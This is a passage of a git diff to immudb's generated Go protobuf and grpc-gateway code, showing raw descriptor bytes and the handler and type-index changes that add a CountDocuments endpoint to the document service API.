0x69, 0x6f, 0x6e, 0x2f, + 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, + 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x4d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x39, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xac, + 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x4c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x38, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xda, 0x01, + 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, + 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, + 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, + 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, + 0x22, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, + 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, + 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, + 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, + 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, + 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, + 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, + 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, + 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2526,7 +2640,7 @@ func file_documents_proto_rawDescGZIP() []byte { } var file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 35) +var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 37) var file_documents_proto_goTypes = []interface{}{ (FieldType)(0), // 0: immudb.model.FieldType (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator @@ -2561,13 +2675,15 @@ var file_documents_proto_goTypes = []interface{}{ (*SearchDocumentsResponse)(nil), // 30: immudb.model.SearchDocumentsResponse (*DocumentAtRevision)(nil), // 31: immudb.model.DocumentAtRevision (*DocumentMetadata)(nil), // 32: immudb.model.DocumentMetadata - (*AuditDocumentRequest)(nil), // 33: immudb.model.AuditDocumentRequest - (*AuditDocumentResponse)(nil), // 34: immudb.model.AuditDocumentResponse - (*ProofDocumentRequest)(nil), // 35: immudb.model.ProofDocumentRequest - (*ProofDocumentResponse)(nil), // 36: immudb.model.ProofDocumentResponse - (*structpb.Struct)(nil), // 37: google.protobuf.Struct - (*structpb.Value)(nil), // 38: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 39: immudb.schema.VerifiableTxV2 + (*CountDocumentsRequest)(nil), // 33: immudb.model.CountDocumentsRequest + (*CountDocumentsResponse)(nil), // 34: immudb.model.CountDocumentsResponse + (*AuditDocumentRequest)(nil), // 35: immudb.model.AuditDocumentRequest + (*AuditDocumentResponse)(nil), // 36: immudb.model.AuditDocumentResponse + (*ProofDocumentRequest)(nil), // 37: immudb.model.ProofDocumentRequest + (*ProofDocumentResponse)(nil), // 38: immudb.model.ProofDocumentResponse + (*structpb.Struct)(nil), // 39: google.protobuf.Struct + (*structpb.Value)(nil), // 40: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 41: immudb.schema.VerifiableTxV2 } var file_documents_proto_depIdxs = []int32{ 4, // 0: immudb.model.CreateCollectionRequest.fields:type_name -> immudb.model.Field @@ -2577,9 +2693,9 @@ var file_documents_proto_depIdxs = []int32{ 4, // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.GetCollectionsResponse.collections:type_name -> immudb.model.Collection - 37, // 7: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct + 39, // 7: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct 26, // 8: immudb.model.ReplaceDocumentsRequest.query:type_name -> immudb.model.Query - 37, // 9: immudb.model.ReplaceDocumentsRequest.document:type_name -> google.protobuf.Struct + 39, // 9: immudb.model.ReplaceDocumentsRequest.document:type_name -> google.protobuf.Struct 31, // 10: immudb.model.ReplaceDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision 26, // 11: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query 26, // 12: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query @@ -2587,43 +2703,46 @@ var file_documents_proto_depIdxs = []int32{ 29, // 14: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause 28, // 15: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison 1, // 16: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 38, // 17: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 40, // 17: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value 31, // 18: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision 32, // 19: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata - 37, // 20: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 31, // 21: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 39, // 22: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 2, // 23: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest - 9, // 24: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest - 6, // 25: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest - 13, // 26: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest - 11, // 27: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest - 15, // 28: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest - 17, // 29: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest - 19, // 30: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest - 21, // 31: immudb.model.DocumentService.ReplaceDocuments:input_type -> immudb.model.ReplaceDocumentsRequest - 23, // 32: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest - 25, // 33: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest - 33, // 34: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest - 35, // 35: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest - 3, // 36: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse - 10, // 37: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse - 7, // 38: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse - 14, // 39: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse - 12, // 40: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse - 16, // 41: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse - 18, // 42: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse - 20, // 43: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse - 22, // 44: immudb.model.DocumentService.ReplaceDocuments:output_type -> immudb.model.ReplaceDocumentsResponse - 24, // 45: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse - 30, // 46: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse - 34, // 47: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse - 36, // 48: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse - 36, // [36:49] is the sub-list for method output_type - 23, // [23:36] is the sub-list for method input_type - 23, // [23:23] is the sub-list for extension type_name - 23, // [23:23] is the sub-list for extension extendee - 0, // [0:23] is the sub-list for field type_name + 39, // 20: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 26, // 21: immudb.model.CountDocumentsRequest.query:type_name -> immudb.model.Query + 31, // 22: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 41, // 23: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 2, // 24: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest + 9, // 25: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest + 6, // 26: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest + 13, // 27: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest + 11, // 28: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest + 15, // 29: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest + 17, // 30: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest + 19, // 31: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest + 21, // 32: immudb.model.DocumentService.ReplaceDocuments:input_type -> immudb.model.ReplaceDocumentsRequest + 23, // 33: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest + 25, // 34: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest + 33, // 35: immudb.model.DocumentService.CountDocuments:input_type -> immudb.model.CountDocumentsRequest + 35, // 36: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest + 37, // 37: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest + 3, // 38: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse + 10, // 39: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse + 7, // 40: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse + 14, // 41: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse + 12, // 42: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse + 16, // 43: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse + 18, // 44: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse + 20, // 45: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse + 22, // 46: immudb.model.DocumentService.ReplaceDocuments:output_type -> immudb.model.ReplaceDocumentsResponse + 24, // 47: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse + 30, // 48: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse + 34, // 49: immudb.model.DocumentService.CountDocuments:output_type -> immudb.model.CountDocumentsResponse + 36, // 50: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse + 38, // 51: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse + 38, // [38:52] is the sub-list for method output_type + 24, // [24:38] is the sub-list for method input_type + 24, // [24:24] is the sub-list for extension type_name + 24, // [24:24] is the sub-list for extension extendee + 0, // [0:24] is the sub-list for field type_name } func init() { file_documents_proto_init() } @@ -3005,7 +3124,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AuditDocumentRequest); i { + switch v := v.(*CountDocumentsRequest); i { case 0: return &v.state case 1: @@ -3017,7 +3136,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AuditDocumentResponse); i { + switch v := v.(*CountDocumentsResponse); i { case 0: return &v.state case 1: @@ -3029,7 +3148,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ProofDocumentRequest); i { + switch v := v.(*AuditDocumentRequest); i { case 0: return &v.state case 1: @@ -3041,6 +3160,30 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*AuditDocumentResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ProofDocumentRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ProofDocumentResponse); i { case 0: return &v.state @@ -3059,7 +3202,7 @@ func file_documents_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documents_proto_rawDesc, NumEnums: 2, - NumMessages: 35, + NumMessages: 37, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index d1af1cfab5..de2a4c17cd 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -791,6 +791,76 @@ func local_request_DocumentService_SearchDocuments_1(ctx context.Context, marsha } +func request_DocumentService_CountDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CountDocumentsRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["query.collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") + } + + err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) + } + + msg, err := client.CountDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_CountDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CountDocumentsRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["query.collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "query.collectionName") + } + + err = runtime.PopulateFieldFromPath(&protoReq, "query.collectionName", val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "query.collectionName", err) + } + + msg, err := server.CountDocuments(ctx, &protoReq) + return msg, metadata, err + +} + func request_DocumentService_AuditDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq AuditDocumentRequest var metadata runtime.ServerMetadata @@ -1257,6 +1327,29 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_CountDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_CountDocuments_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_CountDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, 